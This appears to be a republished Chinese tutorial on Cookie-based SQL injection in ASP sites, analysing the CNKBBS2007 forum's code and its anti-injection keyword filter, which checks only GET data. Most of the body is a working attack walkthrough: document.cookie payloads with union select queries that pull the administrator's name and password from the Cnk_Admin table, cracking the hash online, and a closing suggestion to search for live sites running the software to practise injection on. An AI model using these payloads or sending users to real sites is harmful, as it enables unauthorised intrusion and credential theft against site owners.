网站安全Cookie注入原理与基本方法全方位解析
如今,许多网站已部署了通用防注入系统,但这并不意味着完全无法突破。实际上,Cookie注入就是一种有效的绕过手段,而很多通用防注入程序并未对此做好防护。 在深入探讨之前,先回顾一下ASP脚本中Request对象的相关知识。前几讲提到过,Request对象获取客户端提交数据时,常用的是GET和POST
如今,许多网站已部署了通用防注入系统,但这并不意味着完全无法突破。实际上,Cookie注入就是一种有效的绕过手段,而很多通用防注入程序并未对此做好防护。
在深入探讨之前,先回顾一下ASP脚本中Request对象的相关知识。前几讲提到过,Request对象获取客户端提交数据时,常用的是GET和POST两种方式。同时,Request对象也可以不通过集合直接获取数据,比如直接使用request("name"),但这种方式效率较低且容易出错。当省略集合名称时,ASP会按照 QueryString、Form、Cookie、ServerVariables 的顺序依次搜索。在Request对象的成员中,有一个名为Cookies的集合,其作用是“读取用户系统发送的所有Cookie值”。根据之前关于Cookie欺骗入侵的原理,我们知道Cookie是保存在客户端计算机上的一个文本文件,可以被修改。这样一来,我们就能利用Request.Cookie方式来提交变量的值,从而利用系统漏洞进行注入攻击。
首先来看中网景论坛的最新版本——CNKBBS2007 v5.0(官方下载地址:http://www.cnetking.com/websys2.asp?id=26,发布时间2007年6月6日)。打开系统源代码后,在user_RxMsg_detail.asp文件中,有如下代码:
(调用opendb.asp文件)
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)
if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3
再打开opendb.asp文件:
<%Option Explicit Response.Buffer = true%> (调用fzr.asp文件) ..................
可以看到这是连接数据库的文件,其中调用了fzr.asp文件。我们再打开fzr.asp文件:
<%
'--------版权说明------------------
'SQL通用防注入程序
'Aseanleung
'--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)
'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的语句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!
"
Response.Write "如是要攻击网站,系统记录了你的操作↓
"
Response.Write "操作IP:"&zruserip&"
"
Response.Write "操作时间:"&Now&"
"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"
"
Response.Write "提交方式:GET
"
Response.Write "提交参数:"&Fy_Get&"
"
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
......................
很明显,这是一个SQL通用防注入程序文件(以上红字是对代码的解释)。代码分析完毕,梳理一下思路:由于程序员的疏忽,id变量没有被过滤就直接带入SQL语句中查询,这是注入漏洞产生的根本原因。虽然程序引入了防注入模块,阻止了常用SQL语句的使用,但只对客户采用GET方式提交的数据进行了判断,并未对其他方式提交的数据加以限制。这就导致客户可以使用Request.Cookie方式来提交变量的值,从而绕过SQL防注入程序。
总结一下Cookie注入产生的条件:系统直接使用request("name")获取客户提交的数据,且没有对变量进行过滤;同时,防注入程序中没有限制Request.Cookie(目前防注入程序3.0只对GET和POST提交方式进行了限制)。
原理已经讲清楚,接下来学习Cookie注入的语句。Cookie注入的语句格式如下:
alert(document.cookie="id="+escape("这里放asp?id=xx后面xx代表的数值) and (注入攻击代码)"));
这里用到了Ja vaScript语言的知识,分解一下这条语句的含义:
alert():显示信息对话框的alert()方法,生成一个独立的小窗口(对话框),用来显示一条信息和一个按钮。document.cookie:在Ja vaScript中,Cookie被保存为document对象的一个属性,属性名称为cookie。利用这个属性可以创建和读取Cookie数据。程序中使用alert(document.cookie)可以调用当前页面的Cookie数据项值。当浏览器打开页面时,如果存在相应的Cookie,它会被装入到document对象的cookie属性中。document.cookie属性采用name=value对应方式保存各个Cookie数据项值。escape()函数:将字符串中所有非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能。
一般情况下,Cookie由服务器端的程序通过HTTP请求和响应头发送给浏览器,但利用Ja vaScript,可以在本地浏览器中设置Cookie。格式为name=value,其中name是Cookie数据项的名称,value是对应的值(字符串)。name和value中不能包含分号、逗号及空白,而注入语句中往往包含这些字符(比如50" and 1=1"),所以需要用到escape()函数进行编码。
整条语句的意思就是:设置并调用当前创建的Cookie数据项值。在设置Cookie时,它们首先保存在浏览器的内存中,退出浏览器时才会被写入硬盘。这就是为什么在后面的操作中,需要先退出再重新输入链接地址的原因。
最后我们来测试一下,具体步骤:
- 在本地搭建的中网景论坛上注册一个用户,会收到管理员发来的短消息,打开短消息的链接,注意观察参数id的值。
- 把浏览器的地址栏清空,输入:
alert(document.cookie="id="+escape("相应的参数id值 and 1=1"));,然后回车,会弹出一个对话框。 - 再次输入:
http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,返回正常页面,说明已经绕过了SQL防注入程序。 - 再输入:
alert(document.cookie="id="+escape("1 and 1=2"));,然后输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,此时时间和内容都没有显示,说明可以进行注入了。 - 通过查看系统数据库,得知
cnk_users_RxMsg表里有8个字段,Cnk_Admin表存放管理员资料,其中AdminName和AdminPassword字段分别对应账号和密码。使用联合查询语句,输入:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"));,然后清空地址栏,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可以看到页面显示了数字4和5。 - 再次清空地址栏,输入:
alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin"));,提交后清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,页面上就能看到管理员的账号和密码了。 - 将得到的密码放入
http://www.cmd5.com网站查询,如果管理员密码是明文admin,就可以在网站首页登录后台了。也可以利用关键字“Powered by CNKBBS2007 (5.2)”去网上搜索使用该系统的网站,进行手工注入练习。注意,这类注入需要两次手动操作才能完成,容易出错,操作时要细心。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

